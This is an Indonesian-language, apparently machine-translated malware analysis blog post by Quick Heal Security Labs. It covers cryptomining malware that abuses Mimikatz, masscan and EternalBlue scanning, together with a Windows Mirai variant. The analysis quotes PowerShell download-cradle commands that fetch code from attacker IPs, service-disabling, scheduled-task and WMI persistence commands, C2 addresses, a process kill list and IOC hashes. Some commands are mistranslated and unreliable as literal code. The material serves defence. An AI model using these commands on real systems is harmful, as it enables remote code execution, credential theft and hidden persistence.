Dalam setahun terakhir, Quick Heal Security Labs telah mengamati peningkatan jumlah malware penambangan. Salah satu cara untuk mendapatkan mata uang kripto adalah dengan menambangnya. Saat ini, malware penambang mata uang kripto telah menjadi vektor serangan yang populer bagi penjahat siber karena kemudahan penyebarannya dan pengembalian investasi yang instan. Kami biasanya mengamati bahwa penambang semacam itu datang dengan berbagai teknik untuk mengirimkannya kepada korban. Penyerang dapat mengunduh perangkat lunak sumber terbuka asli dan sedikit memodifikasinya daripada sepenuhnya menulis modul mereka sendiri.
Dalam postingan blog ini, kami akan membahas beberapa kasus di mana skenario serangan dibangun di atas perangkat lunak sumber terbuka ini. Kami juga akan membahas bagaimana tren penyalahgunaan perangkat lunak sumber terbuka untuk membuat malware baru membantu pembuat malware.
Tren ini terutama terlihat dalam kasus cryptojacking. Meskipun cryptojacking merupakan sumber pendapatan langsung bagi penjahat siber, informasi yang dicuri dari sistem korban dapat menghasilkan uang tambahan bagi penjahat siber. Oleh karena itu, alat-alat sumber terbuka ini digunakan untuk berbagai tujuan seperti mengunduh kerangka kerja, mencuri informasi, menambang kripto, DNS Changer, bot Mirai, dan banyak lagi. Hal ini sangat membantu pembentukan botnet dari host-host serupa untuk menghasilkan lebih banyak hash per detik. Seringkali alat-alat sumber terbuka semacam itu mudah didapatkan di Github dan platform serupa. Kita dapat mengklasifikasikannya sebagai kerangka kerja eksploitasi, pemindai kerentanan, pencuri kata sandi, elevator hak istimewa, penghindar, dll.
Vektor infeksi:
Kami menerima pengunduh penambang yang mengunduh beberapa komponen serangan. Skrip ini dapat masuk ke sistem Anda melalui email spam, URL berbahaya, bundler perangkat lunak gratis, atau metode konvensional apa pun yang digunakan oleh semua varian malware. Selain itu, kami menduga bahwa skrip PowerShell tampaknya menjadi penyebab awalnya. Perilaku penambang agak rekursif sehingga kami tidak dapat memastikan jejak awalnya di sistem.
Analisis teknis:
Pengunduh penambang membuat berkas bernama 'xpdown.dat' yang berisi beberapa alamat IP server C2 tempat ia mengunduh komponen selanjutnya.
45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru
Kemudian mengunduh berkas berikut dari domain:
hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/turun.html
hxxp://45.58.135.106/ok/64.html
Ini berisi IP yang mengunduh CPU Miner (174.128.248.10)
hxxp://45.58.135.106/bunuh.txt
Berisi daftar proses berikut yang harus dihentikan apabila berjalan di mesin korban.
lsmose.exe lsmos.exe conime.exe lsmosee.exe
1.exe lsazs.exe taskche.exe Zationa.exe
csrs.exe shennong.bat svshpst.exe Spoolvs.exe
svchsot.exe xmrig.exe srvany.exe WinSCV.exe
csrswz.exe csrs.exe seser.exe severxxs.exe
mssecsvc.exe mssecsvr.exe dsbws.exe
Kemudian malware mengunduh berkas teks yang berisi informasi beberapa muatan yang akan diunduh.
hxxp://45.58.135.106/down.txt
Dan down.txt ini berisi tautan-tautan berikut. Malware kemudian membuka port TCP 32381 pada sistem.
hxxp://213.183.45.201/downs.exe (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll (C:\windows\debug\item.dat)
Dengan melihat pranala dalam berkas tersebut kami mengamati hal-hal berikut.
Downs.exe adalah versi modifikasi dari Microsoft "CACLS" (yang menampilkan dan memodifikasi daftar kontrol akses). Ups.rar diunduh sebagai cab.exe. Komponen ini merupakan pengunduh untuk varian Windows dari botnet Mirai. Komponen ini juga berfungsi sebagai Pengubah DNS dan membuka pintu belakang di sistem. Saat dijalankan, komponen ini melakukan beberapa operasi seperti memodifikasi entri DNS di host dengan IP "223.5.5.5" yang memiliki lokasi geografis di Tiongkok dan ISP DNS-nya adalah "Hangzhou Alibaba Advertising Co.,Ltd."
Kemudian, ia memeriksa apakah mesin yang disusupi merupakan server Windows atau bukan dengan memanggil GetVersionExA. Ia mengunduh update.txt dari server C2, jika mesin tersebut merupakan server, dan meletakkannya di "C:\windows\system\uplist.txt". Uplist.txt berisi muatan berikut yang akan diunduh dan dieksekusi.
hxxp://66.117.6.174/wpd.jpg (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html (C:\windows\system\my1.bat)
Ia juga mengunduh npptools.dll, 64npf.sys, npf.sys, nsoak.dat, packet.dll, dan wpcap.dll. File-file ini digunakan untuk memproses paket jaringan yang dimuat oleh msinfo.exe selama eksekusinya.
Mari kita lihat komponen-komponen ini satu per satu.
my1.bat:
Ini berisi kode yang sangat tersembunyi dan sulit dipahami karena menggunakan beberapa teknik seperti “Squiblydoo”, “download cradle” dan eksploitasi persistensi WMI Event Subscription untuk menjalankan konten berbahaya pada mesin yang terinfeksi.
Skrip WMI berisi beberapa skrip PowerShell.
powershell.exe IEX (Objek Baru system.Net.WebClient).DownloadString('hxxp://173.208.139.170/s.txt')
Berkas teks ini berisi pengunduh PowerShell lain sebagai berikut:
powershell.exe IEX (Objek Baru system.Net.WebClient).DownloadString('hxxp://74.222.1.38/up.txt')
“Up.txt” berisi kode yang mengumpulkan informasi mengenai Sistem OS, Memori Fisik, Daftar proses yang berjalan menggunakan kelas WMI dan kemudian mengunduh format Powershell Mimikatz dari Github.
Selanjutnya ia mencuri kredensial dari mesin yang disusupi dan mengunggahnya ke IP server FTP:192.187.111.66 dengan kredensial FTP yang dikodekan secara keras.
Msinfo.exe:
Pada dasarnya, botnet ini merupakan versi Windows dari Mirai botnet. Karena sebagian besar kodenya cocok dengan kode sumber Mirai yang telah bocor sebelumnya, setelah dijalankan dengan parameter baris perintah "-create" dan "-run", botnet ini akan memeriksa arsitektur sistem saat ini, apakah menggunakan x86, MIPS, ARM, dll. Berdasarkan identifikasi, botnet ini akan memeriksa pembaruan terbaru dan mengunduhnya jika tersedia.
Ia melakukan tugas berikut berdasarkan berkas terenkripsi yang diunduh dari server C2.
- Menerapkan mekanisme penyebar dengan melakukan dalam bentuk SQLi buta (injeksi sql), teknik brute force dengan menggunakan pustaka crack dan alat hydra.
[Cracker:Telnet][Cracker:MSSQL] [Cracker:CCTV][Cracker:MS17010], CrackerWMI, CrackerSSH
- Ia memindai berbagai port seperti 80,8000,445 menggunakan masscan (pemindai port yang sangat cepat, sebuah proyek sumber terbuka) yang beroperasi serupa dengan nmap, alat pemindaian port yang populer.
https://github.com/robertdavidgraham/masscan
- Nonaktifkan layanan tertentu dengan menjalankan perintah berikut:
C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc hentikan netprofm&sc konfigurasi netprofm
mulai= dinonaktifkan&sc hentikan NlaSvc&sc konfigurasi NlaSvc mulai=dinonaktifkan
- Ia juga melakukan pemindaian jaringan dengan mengumpulkan IP Publik/Pribadi sistem dan semua informasi terkait seperti Lokasi Geografis, dll. Kemudian penyerang memalsukan IP-nya sendiri terhadap IP sistem saat ini dan menggunakan masscan untuk melakukan pemindaian pada perangkat lain.
Dengan langkah-langkah ini, sistem ini diubah menjadi bot dan ditambahkan ke jaringan bot mereka. Kodenya telah dikembangkan dalam C++ dan didistribusikan ke berbagai sumber seperti-
PeriksaPembaruan.cpp
Cracker_Inline.cpp
Cracker_Standalone.cpp
CThreadPool.cpp
Logger_Stdout.cpp
Pemindai_Tcp_Connect.cpp
Pemindai_Tcp_Raw.cpp
cService.cpp
AgenServer.cpp
Tugas_Crack_Ipc.cpp
Tugas_Crack_Mssql.cpp
Tugas_Crack_Rdp.cpp
Tugas_Crack_Ssh.cpp
Tugas_Crack_Telnet.cpp
Tugas_Crack_Wmi.cpp
Task_Scan.cpp WPD.cpp
Pada dasarnya, malware ini menargetkan perangkat IoT yang berisi Linux tertanam. Oleh karena itu, ia menggunakan BusyBox (rangkaian perangkat lunak yang menyediakan utilitas UNIX, juga disebut Swiss Army Knife untuk Linux tertanam) untuk menjalankan perintah jarak jauh setelah mengkompromikan/meretas perangkat tersebut melalui berbagai cara yang telah disebutkan sebelumnya.
Agen VBS/BAT untuk Penambang Unduhan:
Pertama muatan akan dijatuhkan dan dieksekusi pada lokasi di bawah ini di mesin korban.
hxxp://213.183.60.7/b.exe (diunduh di C:\windows\inf\msief.exe)
Saat dijalankan, ia akan meletakkan VBS dan berkas batch di lokasi yang disebutkan di bawah ini dan mengeksekusi berkas vbs dengan memanggil wscript.exe yang akhirnya mengeksekusi berkas bat.
C:\Windows\web\c3.bat
C:\Windows\web\n.vbs
Berkas bat berisi banyak kode, yang akan mengubah atribut beberapa folder/berkas, menghentikan beberapa proses tertentu, menghapus beberapa berkas, mengubah kontrol akses beberapa folder/berkas, menjadikannya persisten untuk beberapa muatan dalam sistem melalui registri, penjadwal tugas, langganan Peristiwa WMI, dan juga mengubah kebijakan firewall dengan memblokir 445,139 port.
Terdapat juga dua muatan tambahan yang diunduh dari salah satu server C2 yang ada di xpdown.dat; salah satunya adalah diskwriter, sebuah berkas DLL, yang diletakkan di lokasi "C:\Windows\debug". Muatan ini akan dieksekusi saat sistem dinyalakan karena memiliki entri di penjadwal tugas yang ditambahkan oleh berkas bat di atas.
schtasks /create /tn “Mysa1” /tr “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa” /ru “sistem” /sc onstart /F
Dan yang kedua adalah payload terakhir yaitu XMRig Monero Miner, sebuah executable 64 bit yang diunduh dari hxxp://174.128.248.10/64.rar di “C:\windows\debug\lsmos.exe”
Saat dijalankan, ia membongkar dirinya sendiri dan menaruh 3 file pada folder eksekusi saat ini, satu merupakan file yang dapat dieksekusi (lsmose.exe -64 bit yang dikemas dengan VM Protect) dan dua DLL (xmrstak_cuda_backend.dll dan xmrstak_opencl_backend.dll), yang membantu penambang untuk eksekusi yang berhasil.
Satu lagi kasus serupa yang kami amati, skrip PowerShell berkode base64 yang pada dasarnya adalah malware penambangan kripto yang bersembunyi di kelas WMI untuk menghindari AV dan sebagian besar produk keamanan karena fiturnya yang unik dan tersembunyi.
Setelah decoding kita mendapatkan kode berikut:
Berikut ini adalah alur kerja dasar malware.
Saat dieksekusi, kode akan memeriksa apakah IP/Domain aktif atau tidak seperti yang disebutkan dalam kode. Jika aktif, kode akan meminta banner dan menerima respons berupa ' SCM Event1 Log '.
Setelah itu malware melakukan query untuk Kelas WMI 'FilterToConsumerBinding' dengan menjalankan perintah di bawah ini
$a=([string](Dapatkan-WMIObject -Namespace root\Langganan -Kelas __FilterToConsumerBinding))
lalu memeriksa apakah berisi ' SCM Event1 Log '. Jika tidak ada, maka akan diunduh dan dieksekusi in6.ps1 (64 bit) atau in3.ps1 (32 bit) dengan menggunakan Invoking Expression (IEX).
in6.ps1/in3.ps1:
Skrip ini terdiri dari dua bagian. Bagian pertama adalah aliran data Gzip yang dikodekan base64, dan bagian kedua berisi kode yang di-obfuscate. Setelah di-de-obfuscate, kode tersebut disusun kembali, mirip dengan skrip awal yang dikodekan base64, dengan fitur tambahan.
Gzip yang dikodekan berisi empat file seperti disebutkan di bawah ini:
- 'mini' – Mimikatz, pencuri kredensial
- 'mon' – Penambang CPU Monero
- 'funs' – Kumpulan fungsi yang memiliki fungsi untuk mengeksekusi DLL jarak jauh melalui WMI dan pemindaian kerentanan biru abadi.
- 'sc' – Shellcode yang akan dijalankan pada sistem lain dan mengunduh muatan yang sama, jika rentan terhadap eternal blue.
Ini menciptakan Kelas WMI “systemcore_Updater0” di bawah Namespace “root\default” dan menambahkan properti seperti mimi, mon, funs, sc, ipsu dan i17.
Kemudian ia menetapkan filtername=”SCM Event1 Log Filter” dan consumername=”SCM Event1 Log Consumer”
Ketika penyerang menggunakan WMI sebagai mekanisme persistensi, contoh __EventFilter,_EventConsumer dan __FilterToConsumerBinding harus dibuat dan peristiwa _InstanceCreationEvent diaktifkan.
Dalam kasus ini, penyerang menggunakan kueri berikut sebagai EventFilter dan mengikatnya dengan skrip awal yang dikodekan base64, yang pada akhirnya akan dieksekusi kira-kira setiap 3 jam.
PILIH * DARI __InsanceModificationEvent DALAM 10600 DI MANA TargetInstance ISA Win32_PerfFormattedData_PerfOS_System
Program ini telah mencoba menghapus entri penjadwal tugas “ sysupdater0 ” dan juga memeriksa “sysupdater0.bat” di %systemroot%, jika ada, hapus juga.
Memodifikasi pengaturan tidur, hibernasi, dan rencana daya Windows dengan menjalankan perintah berikut:
powercfg /CHANGE -standby-timeout-ac 0
powercfg /CHANGE -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
Ini menghapus semua Objek WMI di kelas __FilterToConsumerBinding di bawah Namespace “root\subscription” jika nama filter tidak cocok dengan “SCM Event0 Log”
Kemudian ia mematikan proses tersebut jika memiliki koneksi “ESTABLISHED” dengan nomor port 3333, 5555 atau 7777.
Perintah ini membuat daftar PID proses "Powershell" yang sedang berjalan dan koneksi jaringan sistem. Kemudian, perintah ini memeriksa proses dengan koneksi "ESTABLISHED" dan nomor port terkait 80, 14444, 14433, atau 443. Jika tidak ada proses tersebut dan jumlah proses PowerShell yang berjalan kurang dari 8, perintah ini akan mengeksekusi Monero Miner menggunakan modul "funs". Setelah itu, perintah ini akan mengeksekusi mimikatz dan membuang kredensial terlepas dari eksekusi Monero Miner.
Program ini juga menghitung alamat jaringan dan memeriksa IP yang aktif, lalu menambahkannya ke properti bernama 'ipsu'. Kemudian, program memindai IP tersebut untuk mengidentifikasi sistem yang rentan terhadap MS17-010 (dengan Eternal Blue Scanner Script), menyimpannya ke properti 'i17', dan akhirnya mengeksekusi kode shell yang akan mengunduh ze3.ps1 atau ze6.ps1, persis sama dengan in3.ps1 atau in6.ps1 berdasarkan arsitektur OS.
Shell code mengunduh dan mengeksekusi PS Script untuk menginfeksi sistem rentan lainnya. Dengan cara ini, skrip tersebut menyebar dan menambang sistem lain di jaringan.
Jadi, dalam kedua kasus tersebut, perangkat lunak sumber terbuka disalahgunakan secara berlebihan untuk melakukan serangan. Mimikatz, masscan, dan pemindai kerentanan eternal blue tampaknya menjadi perangkat lunak yang populer di kalangan pembuat malware. Teknik serupa juga digunakan untuk menyebarkan ransomware. Seqrite berhasil mendeteksi serangan tersebut pada berbagai tingkat deteksi.
Indikator Kompromi:
790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936
Pakar Materi Pokok:
Priyanka Shinde, Goutam Tripati, Vallabh Chole
Laboratorium Keamanan, Quick Heal Technologies, Ltd.
